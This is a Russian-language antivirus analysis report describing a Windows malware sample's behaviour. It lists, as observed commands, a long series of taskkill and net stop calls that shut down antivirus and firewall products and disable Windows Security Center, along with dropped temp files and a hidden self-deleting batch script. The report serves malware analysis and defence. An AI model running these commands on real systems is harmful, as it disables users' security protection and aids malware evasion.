Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Центр обеспечения безопасности (Security Center)
Запускает на исполнение
- '%WINDIR%\syswow64\net.exe' stop "central de seguranτa"
- '%WINDIR%\syswow64\net.exe' stop McShield
- '%WINDIR%\syswow64\taskkill.exe' /f /im nod32kui.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im nod32krn.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im ATRACK.EXE
- '%WINDIR%\syswow64\taskkill.exe' /f /im IAMAPP.EXE
- '%WINDIR%\syswow64\taskkill.exe' /f /im NISSERV.EXE
- '%WINDIR%\syswow64\taskkill.exe' /f /im SBServ.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im NISUM.EXE
- '%WINDIR%\syswow64\net.exe' stop McDetect.exe
- '%WINDIR%\syswow64\net.exe' stop McTskshd.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im ccEvtMgr.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im ccSetMgr.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im vpnservices.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im navw32.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im nav.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im NPFMntor.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im nav32.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im navap.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im Rtvscan.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im TPSrv.exe
- '%WINDIR%\syswow64\net.exe' stop AvSynMgr
- '%WINDIR%\syswow64\taskkill.exe' /f /im MSASCui.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im MsMpEng.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im avmailc.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im sched.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im avsched32.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im avgnt.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im avguard.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im mcvsshld.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im SHSTAT.EXE
- '%WINDIR%\syswow64\taskkill.exe' /f /im VsTskMgr.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im VsStat.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im Avconsol.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im Vshwin32.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im Avsynmgr.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im McDetect.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im mcagent.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im mcafee.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im OasClnt.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im mctskshd.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im navauto -protect.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im UsrPrmpt.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im NAVAPW32.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im symlcsvc.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im NSCSRVCE.EXE
- '%WINDIR%\syswow64\taskkill.exe' /f /im ashwebsv.exe
- '%WINDIR%\syswow64\net.exe' stop PNMSRV
- '%WINDIR%\syswow64\net.exe' stop PAVSRV
- '%WINDIR%\syswow64\net.exe' stop PAVFNSVR
- '%WINDIR%\syswow64\net.exe' stop PavPrSrv
- '%WINDIR%\syswow64\taskkill.exe' /f /im aswupdsv.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im ashserv.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im ashmaisv.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im ashdisp.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im avgw.exe
- '%WINDIR%\syswow64\net.exe' stop TPSrv
- '%WINDIR%\syswow64\taskkill.exe' /f /im avgupsvc.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im avgamsvr.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im avgcc.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im avgemc.exe
- '%WINDIR%\syswow64\net.exe' stop "AVG E-mail Scanner"
- '%WINDIR%\syswow64\net.exe' stop "AVG7 Alert Manager Server"
- '%WINDIR%\syswow64\net.exe' stop SharedAccess
- '%WINDIR%\syswow64\net.exe' stop "Security Center"
- '%WINDIR%\syswow64\taskkill.exe' /f /im zlclient.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im mcshield.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im pavprsrv.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im PavFnSvr.exe
- '%WINDIR%\syswow64\net.exe' stop PSIMSVC
- '%WINDIR%\syswow64\taskkill.exe' /f /im ccApp.exe
- '%WINDIR%\syswow64\net.exe' stop SBService
- '%WINDIR%\syswow64\net.exe' stop NISSERV
- '%WINDIR%\syswow64\net.exe' stop DefWatch
- '%WINDIR%\syswow64\net.exe' stop SymWSC
- '%WINDIR%\syswow64\net.exe' stop navapsvc
- '%WINDIR%\syswow64\net.exe' stop NPFMntor
- '%WINDIR%\syswow64\net.exe' stop SNDSrvc
- '%WINDIR%\syswow64\net.exe' stop SavRoam
- '%WINDIR%\syswow64\net.exe' stop SAVScan
- '%WINDIR%\syswow64\net.exe' stop NSCService
- '%WINDIR%\syswow64\net.exe' stop "Symantec AntiVirus"
- '%WINDIR%\syswow64\net.exe' stop "Symantec Core LC"
- '%WINDIR%\syswow64\net.exe' stop SPBBCSvc
- '%WINDIR%\syswow64\taskkill.exe' /f /im AVENGINE.EXE
- '%WINDIR%\syswow64\taskkill.exe' /f /im pskmssvc.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im PsImSvc.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im pavprot.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im APVXDWIN.EXE
- '%WINDIR%\syswow64\taskkill.exe' /f /im vsmon.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\6b5f.tmp\b2e.exe
- %TEMP%\6ef8.tmp\batfile.bat
- %TEMP%\selfdel0.bat
Удаляет следующие файлы
- %TEMP%\6ef8.tmp\batfile.bat
- %TEMP%\6b5f.tmp\b2e.exe
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\6b5f.tmp\b2e.exe' %TEMP%\6B5F.tmp\b2e.exe <Текущая директория> "<Полный путь к файлу>"
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\6EF8.tmp\batfile.bat" "' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\selfdel0.bat" "' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\6EF8.tmp\batfile.bat" "
- '%WINDIR%\syswow64\net1.exe' stop McDetect.exe
- '%WINDIR%\syswow64\net1.exe' stop McTskshd.exe
- '%WINDIR%\syswow64\net1.exe' stop McShield
- '%WINDIR%\syswow64\net1.exe' stop SBService
- '%WINDIR%\syswow64\net1.exe' stop NISSERV
- '%WINDIR%\syswow64\net1.exe' stop DefWatch
- '%WINDIR%\syswow64\net1.exe' stop SymWSC
- '%WINDIR%\syswow64\net1.exe' stop navapsvc
- '%WINDIR%\syswow64\net1.exe' stop NPFMntor
- '%WINDIR%\syswow64\net1.exe' stop SNDSrvc
- '%WINDIR%\syswow64\net1.exe' stop SavRoam
- '%WINDIR%\syswow64\net1.exe' stop SAVScan
- '%WINDIR%\syswow64\net1.exe' stop NSCService
- '%WINDIR%\syswow64\net1.exe' stop AvSynMgr
- '%WINDIR%\syswow64\net1.exe' stop "Symantec AntiVirus"
- '%WINDIR%\syswow64\net1.exe' stop SPBBCSvc
- '%WINDIR%\syswow64\net1.exe' stop TPSrv
- '%WINDIR%\syswow64\net1.exe' stop PSIMSVC
- '%WINDIR%\syswow64\net1.exe' stop PNMSRV
- '%WINDIR%\syswow64\net1.exe' stop PAVSRV
- '%WINDIR%\syswow64\net1.exe' stop PAVFNSVR
- '%WINDIR%\syswow64\net1.exe' stop PavPrSrv
- '%WINDIR%\syswow64\net1.exe' stop "AVG E-mail Scanner"
- '%WINDIR%\syswow64\net1.exe' stop "AVG7 Alert Manager Server"
- '%WINDIR%\syswow64\sc.exe' config wscsvc start= disabled
- '%WINDIR%\syswow64\net1.exe' stop SharedAccess
- '%WINDIR%\syswow64\net1.exe' stop "Security Center"
- '%WINDIR%\syswow64\net1.exe' stop "central de seguranτa"
- '%WINDIR%\syswow64\net1.exe' stop "Symantec Core LC"
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\selfdel0.bat" "
